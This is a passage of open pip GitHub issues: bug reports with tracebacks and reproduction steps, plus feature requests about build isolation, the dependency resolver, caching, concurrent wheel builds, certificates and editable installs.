**Describe the solution you'd like**

Stop pip from calling itself to populate build environments.

Once `pip` has read the `pyproject.toml` file and a PEP-517 build is needed, it could (thanks to the new resolver):
- create a new resolver,
- resolve this new set of dependencies (while using/conforming to the same options provided by the user and taking advantage of the in-memory cache),
- install those resolved dependencies in the build environment (possibly building wheels & invoking a new PEP517 process; yes, this will still require a tracker for build dependencies requiring themselves)
- invoke PEP517 backend in the build environment (like in the "pip calling itself" case)

**Additional context**

We might want to drop the legacy resolver first (or only support this behavior with the new resolver).
user: xavfernandez
labels: type: refactor: Refactoring code
state: needs discussion: This needs some more discussion
C: PEP 517 impact: Affected by PEP 517 processing
issue_9071: state: open
title: No output while ResolveLib find matches for root requirements
body: **Environment**

* pip version: 92f9e77127a28b996e8f9dc1168a55fce6ef43e5 (almost current master)
* Python version: irrelevant
* OS: irrelevant

### Description

> Do you think the same reasoning could explain a catastrophic degradation of `pip wheel -r requirements.txt --no-deps --use-feature=2020-resolver` on python 2, with all wheels in cache ? I'm examining a case right now that seems to take forever (> 3 hours) on python 2, while similar cases work fine on python 3.

_Originally posted by @sbidoul in https://github.com/pypa/pip/issues/8664#issuecomment-716143700_

Currently, when a series of requirement specifiers is given to pip, ResolveLib adds each of them and call PipProvider.find_matches upon them.  Only until all of the requirements are added, pip starts print the progress (e.g. *Collecting …*), so it's unclear what is happening during the visual *hang*, especially if the requirement list is long (cc GH-9065).  This shouldn't be a performance issue if the index pages are cached, so I think this has more to do with user experience.

### Expected behavior

pip says something about what it's doing, e.g. like when PIP_RESOLVER_DEBUG=1.

### How to Reproduce

0. Get a long requirements.txt (if I have your permission, @sbidoul, I'll upload yours here, or you can upload them yourselves with potentially private information stripped away)
1. Run `pip wheel -r requirements.txt` and notice how quickly it gets to the progress output (and cancel the command)
2. Run `pip wheel -r requirements.txt --use-feature=2020-resolver` and compare
3. Run `PIP_RESOLVER_DEBUG=1 pip wheel -r requirements.txt --use-feature=2020-resolver`

As a side note, I haven't run it for very long for the Python 2 requirements set so probably the 3h hang is due to another bug.  I'll keep looking into it and see if there's anything else.
user: McSinyx
issue_9058: state: open
title: Have `pip cache purge` and `pip cache remove` handle empty directories.
body: **EDIT (May 6 2022):** Editing to add an updated todo list.

TODO:

- [ ] Check for directories without `.whl` files, instead of empty directories &mdash; see [the comment by @sbidoul below](https://github.com/pypa/pip/pull/9058#issuecomment-1115904297)
- [ ] Add tests (at least for `subdirs_with_no_files(path)` or whatever this gets changed to).

----

<!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

These are the changes discussed in #7372:

1. [x] Make `pip cache remove` prune empty directories.
2. [x] Make `pip cache purge` delete everything in the http and wheels caches (not just files).
3. [x] Make `pip cache purge` remove `selfchecks.json`.

This PR does not account for having `pip cache purge` remove things in the `pip/selfchecks/` directory when appropriate, which was also discussed in #7372.
user: duckinator
labels: type: enhancement: Improvements to functionality
C: cache: Dealing with cache and files in it
issue_9047: state: open
title: `pip list --outdated` fails on platforms where sem_open exists but is not implemented
body: This is *not* the same issue as #8161

**Environment**

* pip version: 20.2.4
* Python version: 3.8.6
* OS: Debian GNU/Linux bullseye/sid

<!-- Feel free to add more information about your environment here -->
Debian Chroot installed on a Synology DS214 NAS

**Description**
<!-- A clear and concise description of what the bug is. -->
`pip list --outdated` fails, printing a stacktrace as follows:
```
ERROR: Exception:
Traceback (most recent call last):
  File "/usr/local/lib/python3.8/dist-packages/pip/_internal/cli/base_command.py", line 228, in _main
    status = self.run(options, args)
  File "/usr/local/lib/python3.8/dist-packages/pip/_internal/commands/list.py", line 165, in run
    packages = self.get_outdated(packages, options)
  File "/usr/local/lib/python3.8/dist-packages/pip/_internal/commands/list.py", line 174, in get_outdated
    return [
  File "/usr/local/lib/python3.8/dist-packages/pip/_internal/commands/list.py", line 174, in <listcomp>
    return [
  File "/usr/local/lib/python3.8/dist-packages/pip/_internal/commands/list.py", line 228, in iter_packages_latest_infos
    for dist in map_multithread(latest_info, packages):
  File "/usr/local/lib/python3.8/dist-packages/pip/_internal/utils/parallel.py", line 105, in _map_multithread
    with closing(ThreadPool(DEFAULT_POOLSIZE)) as pool:
  File "/usr/lib/python3.8/multiprocessing/dummy/__init__.py", line 124, in Pool
    return ThreadPool(processes, initializer, initargs)
  File "/usr/lib/python3.8/multiprocessing/pool.py", line 925, in __init__
    Pool.__init__(self, processes, initializer, initargs)
  File "/usr/lib/python3.8/multiprocessing/pool.py", line 196, in __init__
    self._change_notifier = self._ctx.SimpleQueue()
  File "/usr/lib/python3.8/multiprocessing/context.py", line 113, in SimpleQueue
    return SimpleQueue(ctx=self.get_context())
  File "/usr/lib/python3.8/multiprocessing/queues.py", line 336, in __init__
    self._rlock = ctx.Lock()
  File "/usr/lib/python3.8/multiprocessing/context.py", line 68, in Lock
    return Lock(ctx=self.get_context())
  File "/usr/lib/python3.8/multiprocessing/synchronize.py", line 160, in __init__
    SemLock.__init__(self, SEMAPHORE, 1, 1, ctx=ctx)
  File "/usr/lib/python3.8/multiprocessing/synchronize.py", line 57, in __init__
    sl = self._semlock = _multiprocessing.SemLock(kind, value, maxvalue, self._make_name(), unlink_now)
OSError: [Errno 38] Die angeforderte Funktion ist nicht implementiert
```

**Analysis**
On this system, `multiprocessing.synchronize` _appears_ to be available (but it is not working). The check in file `_internal/utils/parallel.py` detects no problem since the statement `import multiprocessing.synchronize` does not fail. Hence multiprocessing or multithreading will be used in pip. But the necessessary functions are not implemented! Therefore an OSError is raised, as shown.

**Proposed solution**
An additional check should detect if multiprocessing is really working. For example by creating a ProcessPool or instantiating a SemLock. Checking for import failures only is not enough. This doesn't help at all if an error is only raised when an object is instantiated.

An alternative would be adding a configuration option to disable the use of multiprocessing, even if it seems available.

user: richboss
labels: type: bug: A confirmed bug or unintended behavior
OS: linux: Linux specific
issue_9036: state: open
title: Show dependency tree in ResolutionImpossible error message
body: When a user experiences a `ResolutionImpossible` error, it would be great to be able to display the dependency tree in the error message - e.g.

## Both packages top level:

```
ERROR: Cannot install package_1 and package_2 because these package versions have conflicting dependencies.

The conflict is caused by:
    package_1 requires six<1.9
    package_2 requires six<2 and >=1.9.0

To fix this you could try to:
- loosen the range of package versions you've specified
- remove package versions to allow pip to attempt to solve the dependency conflict

ERROR: ResolutionImpossible For help visit: https://pip.pypa.io/en/stable/user_guide/#dependency-conflicts-resolution-impossible
```

## At least one package top level, at least one package deeper in dep tree:

```
ERROR: Cannot install package_1 and package_2 because these package versions have conflicting dependencies.

The conflict is caused by:
    package_1 requires six<1.9
    package_2 requires six<2 and >=1.9.0

Dependency tree:
- package_1 requires six<1.9
- package_4 requires package_3
  - package_3 requires package_2
    - package_2 requires six<2 and >=1.9.0

To fix this you could try to:
- loosen the range of package versions you've specified
- remove package versions to allow pip to attempt to solve the dependency conflict
- ask the package maintainers to loosen their dependencies

ERROR: ResolutionImpossible For help visit: https://pip.pypa.io/en/stable/user_guide/#dependency-conflicts-resolution-impossible
```

## Both packages deep in dep tree:

```
ERROR: Cannot install package_1 and package_2 because these package versions have conflicting dependencies.

The conflict is caused by:
    package_1 requires six<1.9
    package_2 requires six<2 and >=1.9.0

Dependency tree:
- package_5 requires package_1
  - package_1 requires six<1.9
- package_4 requires package_3
  - package_3 requires package_2
    - package_2 requires six<2 and >=1.9.0

To fix this you could try to:
- ask the package maintainers to loosen their dependencies

ERROR: ResolutionImpossible For help visit: https://pip.pypa.io/en/stable/user_guide/#dependency-conflicts-resolution-impossible
```

## Package conflicting with itself

```
ERROR: Cannot install testpkg because of conflicting dependencies.

The conflict is caused by:
    testpkg requires six<1.9
    testpkg requires six<2 and >=1.9.0

Dependency tree:
- testpkg requires six<1.9
- testpkg requires virtualenv==20.0.25
  - virtualenv requires six<2 and >=1.9.0

To fix this you could try to:
- ask the package maintainers to fix the conflict

ERROR: ResolutionImpossible For help visit: https://pip.pypa.io/en/stable/user_guide/#dependency-conflicts-resolution-impossible
```
user: nlhkabu
labels: C: dependency resolution: About choosing which dependencies to install
C: error messages: Improving error messages
issue_9034: state: open
title: concurrent pip-install fails to build wheel due to race
body: <!--
If you're reporting an issue for `--use-feature=2020-resolver`, use the "Dependency resolver failures / errors" template instead.
-->

**Environment**

* pip version: 20.2.4 (and others)
* Python version: 3.6 (and others)
* OS: windows 10 (ubuntu 18 too)

<!-- Feel free to add more information about your environment here -->

**Description**
<!-- A clear and concise description of what the bug is. -->
When running pip in parallel (multiple processes) to install some source distribution, the wheel creation phase fails because all processes tries to create a whl in the same location (assuming the whl doesn't already exist in whl cache).

In my CI environment we build multiple python projects in parallel. In addition the build happens within a clean docker container, thus the pip cache is empty on every CI run.
So I get into a situation where I have multiple venvs (one per python project) and multiple processes are running concurrently and install some source distribution package (in my case its pydevd-pycharm==202.7319.37).

Because this is a source distribution, pip first creates a whl from it. Since concurrent pip processes are trying to do this simultaneously into the same cache location (i.e. c:\users\awaizman101364\appdata\local\pip\cache\wheels\ab\b5\b5\be64936edf514f04910c749842d4846e0afc64a9de7e319067) it fails (errors like EOFError, BadZipFile, etc.)

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
wheel creation by pip should be multi process safe (similar to download)

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->
1. create 4 venv with latest pip (20.2.4), setuptools(50.3.2) and wheel(0.35.1)
```
python -v venv venv<1-4>
venv<1-4>\Scripts\python.exe -m pip install pip==20.2.4
venv<1-4>\Scripts\python.exe -m pip install setuptools==50.3.2 wheel==0.35.1
```
2. make sure pip cache is empty (i.e. by removing c:\users\awaizman101364\appdata\local\pip)
3. concurrently run pip install pydevd-pycharm==202.7319.37 in all 4 venvs
```
start env1\Scripts\python.exe -m pip install pydevd-pycharm==202.7319.37 && ... && start env4\Scripts\python.exe -m pip install pydevd-pycharm==202.7319.37
```

**Output**

this is the errors i get:
**env3 process:**
```
C:\Users\awaizman101364>env3\Scripts\python.exe -m pip install pydevd-pycharm==202.7319.37
Collecting pydevd-pycharm==202.7319.37
  Downloading pydevd-pycharm-202.7319.37.tar.gz (5.1 MB)
     |████████████████████████████████| 5.1 MB 547 kB/s
Building wheels for collected packages: pydevd-pycharm
  Building wheel for pydevd-pycharm (setup.py) ... done
  Created wheel for pydevd-pycharm: filename=pydevd_pycharm-202.7319.37-py3-none-any.whl size=10083142 sha256=93028682b500ed3b45853bd0994f9d0ca7fe7b5b79680105a7cabf30bee88d3e
  Stored in directory: c:\users\awaizman101364\appdata\local\pip\cache\wheels\ab\b5\b5\be64936edf514f04910c749842d4846e0afc64a9de7e319067
Successfully built pydevd-pycharm
Installing collected packages: pydevd-pycharm
ERROR: Exception:
Traceback (most recent call last):
  File "C:\Users\awaizman101364\env3\lib\site-packages\pip\_internal\cli\base_command.py", line 228, in _main
    status = self.run(options, args)
  File "C:\Users\awaizman101364\env3\lib\site-packages\pip\_internal\cli\req_command.py", line 182, in wrapper
    return func(self, options, args)
  File "C:\Users\awaizman101364\env3\lib\site-packages\pip\_internal\commands\install.py", line 406, in run
    pycompile=options.compile,
  File "C:\Users\awaizman101364\env3\lib\site-packages\pip\_internal\req\__init__.py", line 90, in install_given_reqs
    pycompile=pycompile,
  File "C:\Users\awaizman101364\env3\lib\site-packages\pip\_internal\req\req_install.py", line 822, in install
    requested=self.user_supplied,
  File "C:\Users\awaizman101364\env3\lib\site-packages\pip\_internal\operations\install\wheel.py", line 860, in install_wheel
    requested=requested,
  File "C:\Users\awaizman101364\env3\lib\site-packages\pip\_internal\operations\install\wheel.py", line 689, in _install_wheel
    file.save()
  File "C:\Users\awaizman101364\env3\lib\site-packages\pip\_internal\operations\install\wheel.py", line 456, in save
    shutil.copyfileobj(f, dest)
  File "C:\Users\awaizman101364\AppData\Local\Programs\Python\Python36\lib\shutil.py", line 79, in copyfileobj
    buf = fsrc.read(length)
  File "C:\Users\awaizman101364\AppData\Local\Programs\Python\Python36\lib\zipfile.py", line 872, in read
    data = self._read1(n)
  File "C:\Users\awaizman101364\AppData\Local\Programs\Python\Python36\lib\zipfile.py", line 940, in _read1
    data += self._read2(n - len(data))
  File "C:\Users\awaizman101364\AppData\Local\Programs\Python\Python36\lib\zipfile.py", line 975, in _read2
    raise EOFError
EOFError
```
**env4 process:**
```
C:\Users\awaizman101364>env4\Scripts\python.exe -m pip install pydevd-pycharm==202.7319.37
Collecting pydevd-pycharm==202.7319.37
  Downloading pydevd-pycharm-202.7319.37.tar.gz (5.1 MB)
     |████████████████████████████████| 5.1 MB 6.8 MB/s
Building wheels for collected packages: pydevd-pycharm
  Building wheel for pydevd-pycharm (setup.py) ... done
  Created wheel for pydevd-pycharm: filename=pydevd_pycharm-202.7319.37-py3-none-any.whl size=10083142 sha256=93028682b500ed3b45853bd0994f9d0ca7fe7b5b79680105a7cabf30bee88d3e
  Stored in directory: c:\users\awaizman101364\appdata\local\pip\cache\wheels\ab\b5\b5\be64936edf514f04910c749842d4846e0afc64a9de7e319067
Successfully built pydevd-pycharm
ERROR: Error while checking for conflicts. Please file an issue on pip's issue tracker: https://github.com/pypa/pip/issues/new
Traceback (most recent call last):
  File "C:\Users\awaizman101364\env4\lib\site-packages\pip\_internal\commands\install.py", line 520, in _determine_conflicts
    return check_install_conflicts(to_install)
  File "C:\Users\awaizman101364\env4\lib\site-packages\pip\_internal\operations\check.py", line 110, in check_install_conflicts
    would_be_installed = _simulate_installation_of(to_install, package_set)
  File "C:\Users\awaizman101364\env4\lib\site-packages\pip\_internal\operations\check.py", line 134, in _simulate_installation_of
    dist = abstract_dist.get_pkg_resources_distribution()
  File "C:\Users\awaizman101364\env4\lib\site-packages\pip\_internal\distributions\wheel.py", line 29, in get_pkg_resources_distribution
    with ZipFile(self.req.local_file_path, allowZip64=True) as z:
  File "C:\Users\awaizman101364\AppData\Local\Programs\Python\Python36\lib\zipfile.py", line 1131, in __init__
    self._RealGetContents()
  File "C:\Users\awaizman101364\AppData\Local\Programs\Python\Python36\lib\zipfile.py", line 1198, in _RealGetContents
    raise BadZipFile("File is not a zip file")
zipfile.BadZipFile: File is not a zip file
Installing collected packages: pydevd-pycharm
ERROR: Exception:
Traceback (most recent call last):
  File "C:\Users\awaizman101364\env4\lib\site-packages\pip\_internal\cli\base_command.py", line 228, in _main
    status = self.run(options, args)
  File "C:\Users\awaizman101364\env4\lib\site-packages\pip\_internal\cli\req_command.py", line 182, in wrapper
    return func(self, options, args)
  File "C:\Users\awaizman101364\env4\lib\site-packages\pip\_internal\commands\install.py", line 406, in run
    pycompile=options.compile,
  File "C:\Users\awaizman101364\env4\lib\site-packages\pip\_internal\req\__init__.py", line 90, in install_given_reqs
    pycompile=pycompile,
  File "C:\Users\awaizman101364\env4\lib\site-packages\pip\_internal\req\req_install.py", line 822, in install
    requested=self.user_supplied,
  File "C:\Users\awaizman101364\env4\lib\site-packages\pip\_internal\operations\install\wheel.py", line 850, in install_wheel
    with ZipFile(wheel_path, allowZip64=True) as z:
  File "C:\Users\awaizman101364\AppData\Local\Programs\Python\Python36\lib\zipfile.py", line 1131, in __init__
    self._RealGetContents()
  File "C:\Users\awaizman101364\AppData\Local\Programs\Python\Python36\lib\zipfile.py", line 1198, in _RealGetContents
    raise BadZipFile("File is not a zip file")
zipfile.BadZipFile: File is not a zip file
```

user: awaizman1
labels: type: bug: A confirmed bug or unintended behavior
kind: crash: For situations where pip crashes
C: cache: Dealing with cache and files in it
issue_9026: state: open
title: Option to require all versions to be pinned
body: **What's the problem this feature will solve?**
When installing from a collection of requirements and constraints files, it would be useful to enforce that the resulting set of packages (including recursive dependencies) has the version of every package pinned, so that the deployment is reproducible.

<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->

**Describe the solution you'd like**
I'd like a command-line option that will cause pip to raise an error if any dependency that would be fetched from a package index does not have an exact version number pin.

We have a constraints file that is shared across multiple packages (and version-pins each package), and then each package has a requirements file for deployment that omits version pins where it doesn't particularly care about a version and is happy to use the default from the constraints file. However, there is no trivial way to tell whether any of the packages listed has a dependency that isn't listed in the constraints file and hence won't get pinned.

We'd also like to be able to exclude VCS URLs from the requirement that versions are pinned, because we have internal packages that are tightly coupled and when installing the latest version of one we also want it to pull in the latest version of the other, rather than having to continually update commit hashes in requirement files. I realise that's going to reduce repeatability, so maybe it shouldn't be the default.

**Alternative Solutions**
Hash-checking mode might solve the problem (haven't tried) but adds a lot of additional maintenance to manage hashes, particularly if we want to support multiple Python versions. This request is for something that has the repeatability advantages of hash-checking mode, but for people who trust PyPI not to modify the content of a fixed version.

At the moment we're using a custom script to process the requirements and constraints files to check that everything is pinned, but it requires the per-package requirements files to list every (recursively) dependency, which is brittle as bumping the version of a external package in the shared constraints file can bring in a new dependency and require all the requirements files to be updated.
user: bmerry
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
C: requirement file: Using `requirements.txt`
issue_9023: state: open
title: Error installing package with executable
body: **Environment**

* pip version: 20.2.4
* Python version: 3.9.0
* OS: Windows 10 Build 20236

<!-- Feel free to add more information about your environment here -->

**Description**
Attempting to install pip-run fails.

**Expected behavior**
The installation of this package should succeed or a more informative error message should be provided.

**How to Reproduce**
I've installed Python with chocolatey (`choco install python`), upgraded pip with `py -m pip install -U pip`, then:

```
$ py -m pip install pip-run
Collecting pip-run
  Using cached pip_run-8.2.0-py3-none-any.whl (14 kB)
Requirement already satisfied: pip>=19.3 in c:\python39\lib\site-packages (from pip-run) (20.2.4)
Installing collected packages: pip-run
  WARNING: Failed to write executable - trying to use .deleteme logic
ERROR: Could not install packages due to an EnvironmentError: [WinError 2] The system cannot find the file specified: 'C:\\Python39\\Scripts\\pip-run.exe' -> 'C:\\Python3
9\\Scripts\\pip-run.exe.deleteme'
```

user: jaraco
labels: OS: windows: Windows specific
state: awaiting PR: Feature discussed, PR is needed
C: error messages: Improving error messages
issue_8999: state: open
title: pip install doesn't carry-on index-url certificate - failing build dependencies installation
body: <!--
If you're reporting an issue for `--use-feature=2020-resolver`, use the "Dependency resolver failures / errors" template instead.
-->

**Environment**

* pip version: 20.2.3
* Python version: 3.6.8
* OS: Windows 10

<!-- Feel free to add more information about your environment here -->

**Description**
<!-- A clear and concise description of what the bug is. -->
I'm using pip to install a package (```iniconfig==1.1.0```) from an internal secured repository, thus providing a certificate via command line args (```--cert=...```).
The package is distributed as a source dist (not a wheel) and pip tries first to install the package build dependencies (```Installing build dependencies ...```).
when it tries doing so, pip invokes a nested pip install command, carrying on the index-url but not the certificate, thus the installation fails.
Note how in the sub pip install command the index is carried on but the certificate is not:
```
ERROR: Command errored out with exit status 1:
   command: 'bug_venv\Scripts\python.exe' 'bug_venv\lib\site-packages\pip' install --ignore-installed --no-user --prefix 'C:\Users\AWAIZM~1\AppData\Local\Temp\pip-build-env-cmo7_f0v\overlay' --no-warn-script-location --no-binary :none: --only-binary :none: -i https://il-app-61/repository/pypi_group/simple -- 'setuptools>=41.2.0' wheel 'setuptools_scm>3'
```

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
certificate argument should be carried on to sub pip install commands

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->
1. create a new venv with pip 20.2.3, setuptools 50.3.1 and wheel 0.35.1
```
python -m venv bug_venv
bug_venv\Scripts\python.exe -m pip install pip==20.2.3
bug_venv\Scripts\python.exe -m pip install -U setuptools==50.3.1 wheel==0.35.1
```
2. run pip install command with internal repo and certificate
```
bug_venv\Scripts\python.exe -m pip install --cert=<certificate file> --index-url=<https repo url> iniconfig==1.1.0 
```
3. install should fail with "certificate verify failed"

**Output**

```
bug_venv\Scripts\python -m pip install --cert=F:\views\g\qprism\QBuildSystemCore\python\build_infra\src\amat_build_system\resources\amat.pem.cer --index-url=https://il-app-61/repository/pypi_group/simple iniconfig==1.1.0
Looking in indexes: https://il-app-61/repository/pypi_group/simple
Collecting iniconfig==1.1.0
  Downloading https://il-app-61/repository/pypi_group/packages/iniconfig/1.1.0/iniconfig-1.1.0.tar.gz (8.1 kB)
  Installing build dependencies ... error
  ERROR: Command errored out with exit status 1:
   command: 'bug_venv\Scripts\python.exe' 'bug_venv\lib\site-packages\pip' install --ignore-installed --no-user --prefix 'C:\Users\AWAIZM~1\AppData\Local\Temp\pip-build-env-cmo7_f0v\overlay' --no-warn-script-location --no-binary :none: --only-binary :none: -i https://il-app-61/repository/pypi_group/simple -- 'setuptools>=41.2.0' wheel 'setuptools_scm>3'
       cwd: None
  Complete output (10 lines):
  Looking in indexes: https://il-app-61/repository/pypi_group/simple
  WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:852)'),)': /repository/pypi_group/simple/setuptools/
  WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:852)'),)': /repository/pypi_group/simple/setuptools/
  WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:852)'),)': /repository/pypi_group/simple/setuptools/
  WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:852)'),)': /repository/pypi_group/simple/setuptools/
  WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:852)'),)': /repository/pypi_group/simple/setuptools/
  Could not fetch URL https://il-app-61/repository/pypi_group/simple/setuptools/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='il-app-61', port=443): Max retries exceeded with url: /repository/pypi_group/simple/setuptools/ (Caused by SSLError(SSLError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:852)'),)) - skipping
  ERROR: Could not find a version that satisfies the requirement setuptools>=41.2.0 (from versions: none)
  ERROR: No matching distribution found for setuptools>=41.2.0
  Could not fetch URL https://il-app-61/repository/pypi_group/simple/pip/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='il-app-61', port=443): Max retries exceeded with url: /repository/pypi_group/simple/pip/ (Caused by SSLError(SSLError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:852)'),)) - skipping
  ----------------------------------------
ERROR: Command errored out with exit status 1: 'bug_venv\Scripts\python.exe' 'bug_venv\lib\site-packages\pip' install --ignore-installed --no-user --prefix 'C:\Users\AWAIZM~1\AppData\Local\Temp\pip-build-env-cmo7_f0v\overlay' --no-warn-script-location --no-binary :none: --only-binary :none: -i https://il-app-61/repository/pypi_group/simple -- 'setuptools>=41.2.0' wheel 'setuptools_scm>3' Check the logs for full command output.
```

user: awaizman1
labels: C: PEP 517 impact: Affected by PEP 517 processing
issue_8995: state: open
title: Ability to restrict pip freeze output to production requirements and their dependencies
body: **What's the problem this feature will solve?**
When using `pip freeze` output as constraints for production, it is annoying and messy to have constraints included that are part of the development environment but not production.

**Describe the solution you'd like**
Have a new option something like `--rtree <requirements file>` that restricts the results to packages that are either specified in the given requirements file or are dependencies of those packages. If used in conjunction with `--all` then pip, distribute, setuptools, wheel, etc. should be included if they are either specified in the requirements file or are dependencies of those that are listed.

In my development process, I have a requirements.txt file with production requirements, a requirements-devel.txt file for development requirements, a constraints.txt file for constraints to apply when adding or upgrading packages, and a constraints-frozen.txt file that is produced using `pip freeze`. When I install packages, I supply both requirements.txt and requirements-devel.txt as requirements and either constraints.txt or constraints-frozen.txt (depending on what I'm doing) as constraints. Although that works just fine, there is a lot of unnecessary junk in constraints-frozen.txt related to packages that are only used in development or just happen to have been manually installed for some purpose at some time.

Although frozen constraints should include all production packages and all of their dependencies, it would be nice if it could be easily made to contain _only_ those.
user: stevecj
labels: state: needs discussion: This needs some more discussion
issue_8986: state: open
title: pip editable install fails with pyproject.toml, even with no setup.py import error
body: **Environment**

* pip version: 20.2.3
* Python version: 3.8.5
* OS: Fedora 32

**Description**
A project with both `setup.py` and `pyproject.toml` will error when doing an editable install via `pip install -e .` with the error:

```
(env) [alancoding@alan-red-hat ansible-runner]$ pip install -e .
Obtaining file:///home/alancoding/repos/ansible-runner
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
    Preparing wheel metadata ... done
Collecting python-daemon
  Using cached python_daemon-2.2.4-py2.py3-none-any.whl (35 kB)
Requirement already satisfied: pyyaml in /home/alancoding/repos/awx/env/lib/python3.8/site-packages (from ansible-runner==2.0.0) (5.3.1)
Collecting psutil
  Using cached psutil-5.7.2.tar.gz (460 kB)
Requirement already satisfied: pexpect>=4.5 in /home/alancoding/repos/awx/env/lib/python3.8/site-packages (from ansible-runner==2.0.0) (4.8.0)
Requirement already satisfied: six in /home/alancoding/repos/awx/env/lib/python3.8/site-packages (from ansible-runner==2.0.0) (1.15.0)
Requirement already satisfied: lockfile>=0.10 in /home/alancoding/repos/awx/env/lib/python3.8/site-packages (from python-daemon->ansible-runner==2.0.0) (0.12.2)
Requirement already satisfied: setuptools in /home/alancoding/repos/awx/env/lib/python3.8/site-packages (from python-daemon->ansible-runner==2.0.0) (50.3.0)
Collecting docutils
  Using cached docutils-0.16-py2.py3-none-any.whl (548 kB)
Requirement already satisfied: ptyprocess>=0.5 in /home/alancoding/repos/awx/env/lib/python3.8/site-packages (from pexpect>=4.5->ansible-runner==2.0.0) (0.6.0)
Building wheels for collected packages: psutil
  Building wheel for psutil (setup.py) ... done
  Created wheel for psutil: filename=psutil-5.7.2-cp38-cp38-linux_x86_64.whl size=276719 sha256=8d0a6ef64d2e4eec64a8b781ee2b0258ef7eedc62204919a7ad455a1dd4ff127
  Stored in directory: /home/alancoding/.cache/pip/wheels/91/cf/b0/0c9998060b55ca80ea7a50a8639c3bdc6ba886eeff014bc9ac
Successfully built psutil
Installing collected packages: docutils, python-daemon, psutil, ansible-runner
  Running setup.py develop for ansible-runner
    ERROR: Command errored out with exit status 1:
     command: /home/alancoding/repos/awx/env/bin/python -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/home/alancoding/repos/ansible-runner/setup.py'"'"'; __file__='"'"'/home/alancoding/repos/ansible-runner/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' develop --no-deps
         cwd: /home/alancoding/repos/ansible-runner/
    Complete output (3 lines):
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
    ModuleNotFoundError: No module named 'setuptools'
    ----------------------------------------
ERROR: Command errored out with exit status 1: /home/alancoding/repos/awx/env/bin/python -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/home/alancoding/repos/ansible-runner/setup.py'"'"'; __file__='"'"'/home/alancoding/repos/ansible-runner/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' develop --no-deps Check the logs for full command output.
```

I cannot find a mention of this type of error anywhere else in the issue queue, and I cannot convince myself this is correct behavior.

The build isolation causes `setuptools` to not be available, and by all means, I realize that `pyproject.toml` does not list it. However, the `setup.py` file does not require it. This error was not from running `setup.py`, but running the custom pip command

> command: /home/alancoding/repos/awx/env/bin/python -c 'import sys, setuptools, tokenize...

The venv at `/home/alancoding/repos/awx` has setuptools, but somehow with the pip subprocess build isolation, it's not available.

**Expected behavior**
If running with `-e`, and the project is split-brained between `setup.py` and `pyproject.toml`, then it seems like it shouldn't do build isolation with `pyproject.toml` to turn around and go run `setup.py`.

I know that `-e` isn't supported with PEP 518, and this is only here as legacy behavior. But this looks like a regression that could be addressed by being more consistent about using the legacy behavior.

If I temporarily delete `pyproject.toml`, then it works like a charm. I think that behavior should be the expectation.

**How to Reproduce**
If you see any issue in how these projects are structured, then I'm happy to make changes, but I have replicated the error I described with both of:

 - https://github.com/ansible/ansible-builder/
 - https://github.com/ansible/ansible-runner/

We have `pyproject.toml` in order to adopt the latest stuff, but we have to include `setup.py` for compatibility, for RHEL in particular. For ansible/ansible-builder at least, we didn't write `setup.py`, but generated it from the library dephell, and you can view their template here:

https://github.com/dephell/dephell/blob/657b25a0caac5c61f9b9bf5ec85453b9745a1adb/dephell/converters/setuppy.py#L48

The specific purpose of this template is to produce a compatibility-oriented `setup.py` script in a project which is otherwise using the new standard.

In either of these projects, the steps to reproduce is `pip install -e .`, from the project root.

**Output**

Here's the final part of the verbose output for ansible/ansible-builder:

https://gist.github.com/AlanCoding/dab97a4a84e14911fb1f7c1087e437b2

The skip logs were too numerous to include the full output, so the beginning is truncated.
user: AlanCoding
labels: PEP implementation: Involves some PEP
C: editable: Editable installations
C: PEP 517 impact: Affected by PEP 517 processing
C: build logic: Stuff related to metadata generation / wheel generation
issue_8983: state: open
title: `--pre` flag is ambiguous while used alongside other flags
body: **Environment**

* pip version: pip 20.1.1 from /usr/lib/python3.8/site-packages/pip 
* Python version: (python 3.8)
* OS: ArchLinux

<!-- Feel free to add more information about your environment here -->

**Description**

The `--pre` flag is ambiguous while used alongside other flags. The documentation describes it as:

>Include pre-release and development versions. By default, pip only finds stable versions.

A simple issue that arises is in usage while listing outdated packages.

